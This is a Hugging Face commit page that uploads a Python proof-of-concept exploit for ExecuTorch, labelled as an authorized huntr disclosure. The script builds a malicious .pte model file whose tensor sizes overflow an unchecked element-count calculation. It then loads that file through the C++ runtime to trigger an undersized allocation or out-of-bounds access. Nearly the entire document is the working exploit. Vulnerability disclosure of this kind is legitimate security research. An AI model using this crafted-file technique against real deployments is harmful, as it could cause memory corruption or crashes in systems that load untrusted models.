wonbrand commited on
Commit
51548aa
·
verified ·
1 Parent(s): 633b626

Upload poc_executorch.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. poc_executorch.py +86 -0
poc_executorch.py ADDED
@@ -0,0 +1,86 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ # huntr Model-File-Format PoC (AUTHORIZED disclosure) — ExecuTorch .pte compute_numel int-overflow
3
+ # Craft a malicious .pte whose tensor `sizes` product overflows ssize_t (unchecked compute_numel
4
+ # tensor_impl.cpp:42; sibling safe_numel:64 guards). Load it -> undersized alloc / OOB at parse.
5
+ import sys, os, struct, traceback
6
+ OUT = "/mnt/c/Users/A/AppData/Local/Temp/claude/C--Users-A-idea-security/3ebe7ed1-e1f0-439b-89dd-99e02abb9f01/scratchpad"
7
+
8
+ def log(*a): print(*a, flush=True)
9
+
10
+ # 1) Export a minimal valid base .pte
11
+ import torch
12
+ from torch.export import export
13
+ from executorch.exir import to_edge
14
+
15
+ class M(torch.nn.Module):
16
+ def forward(self, x):
17
+ return x + x
18
+
19
+ log("[1] exporting base model ...")
20
+ ep = export(M(), (torch.randn(2, 3, 4),))
21
+ et = to_edge(ep).to_executorch()
22
+ base = bytes(et.buffer)
23
+ open(OUT + "/base.pte", "wb").write(base)
24
+ log(" base.pte bytes:", len(base))
25
+
26
+ # 2) Deserialize -> patch a tensor's sizes to overflow -> reserialize
27
+ from executorch.exir._serialize import _serialize as S
28
+ from executorch.exir.schema import Tensor
29
+ # deserialize
30
+ prog = None
31
+ for fn in ("deserialize_pte_binary",):
32
+ if hasattr(S, fn):
33
+ prog = getattr(S, fn)(base); break
34
+ if prog is None:
35
+ # fallback module
36
+ from executorch.exir._serialize import _program as P
37
+ prog = P.deserialize_pte_binary(base) if hasattr(P, "deserialize_pte_binary") else None
38
+ log("[2] deserialized:", type(prog).__name__, "attrs:", [a for a in dir(prog) if not a.startswith('_')][:12])
39
+ # PTEFile wraps the Program
40
+ program = getattr(prog, "program", None) or getattr(prog, "flatbuffer_program", None) or prog
41
+ log(" program:", type(program).__name__, "attrs:", [a for a in dir(program) if not a.startswith('_')][:12])
42
+
43
+ # find tensors in execution plan values
44
+ OVR = [2147483647, 2147483647, 4] # product = 2^31-1 * 2^31-1 * 4 ~ 1.8e19 > 2^63 -> ssize_t overflow
45
+ patched = 0
46
+ for plan in program.execution_plan:
47
+ for v in plan.values:
48
+ val = getattr(v, "val", None)
49
+ if val is not None and val.__class__.__name__ == "Tensor" and hasattr(val, "sizes"):
50
+ log(" tensor found: sizes=", list(val.sizes), "scalar_type=", getattr(val,'scalar_type',None))
51
+ val.sizes = list(OVR)
52
+ if hasattr(val, "dim_order"):
53
+ val.dim_order = list(range(len(OVR)))
54
+ patched += 1
55
+ if patched >= 1:
56
+ break
57
+ if patched: break
58
+ log(" patched tensors:", patched)
59
+
60
+ # reserialize
61
+ ser = None
62
+ for fn in ("serialize_pte_binary",):
63
+ if hasattr(S, fn):
64
+ ser = getattr(S, fn); break
65
+ mal = ser(prog) if ser else None
66
+ if hasattr(mal, "tobytes"): mal = mal.tobytes()
67
+ mal = bytes(mal)
68
+ open(OUT + "/malicious_compute_numel.pte", "wb").write(mal)
69
+ log("[3] malicious .pte bytes:", len(mal), "-> malicious_compute_numel.pte")
70
+
71
+ # 3) Load the malicious .pte through the C++ runtime -> observe crash/abort
72
+ from executorch.extension.pybindings.portable_lib import _load_for_executorch_from_buffer
73
+ log("[4] loading malicious .pte through ExecuTorch C++ runtime ...")
74
+ try:
75
+ m = _load_for_executorch_from_buffer(mal)
76
+ log(" loaded module:", m)
77
+ # force method/tensor materialization
78
+ try:
79
+ out = m.forward((torch.randn(2,3,4),))
80
+ log(" forward out:", type(out))
81
+ except Exception as e:
82
+ log(" forward raised:", repr(e))
83
+ log("RESULT: loaded without hard crash (inspect for abort/OOB above).")
84
+ except Exception as e:
85
+ log("RESULT: load raised exception (parser rejected or aborted):")
86
+ traceback.print_exc()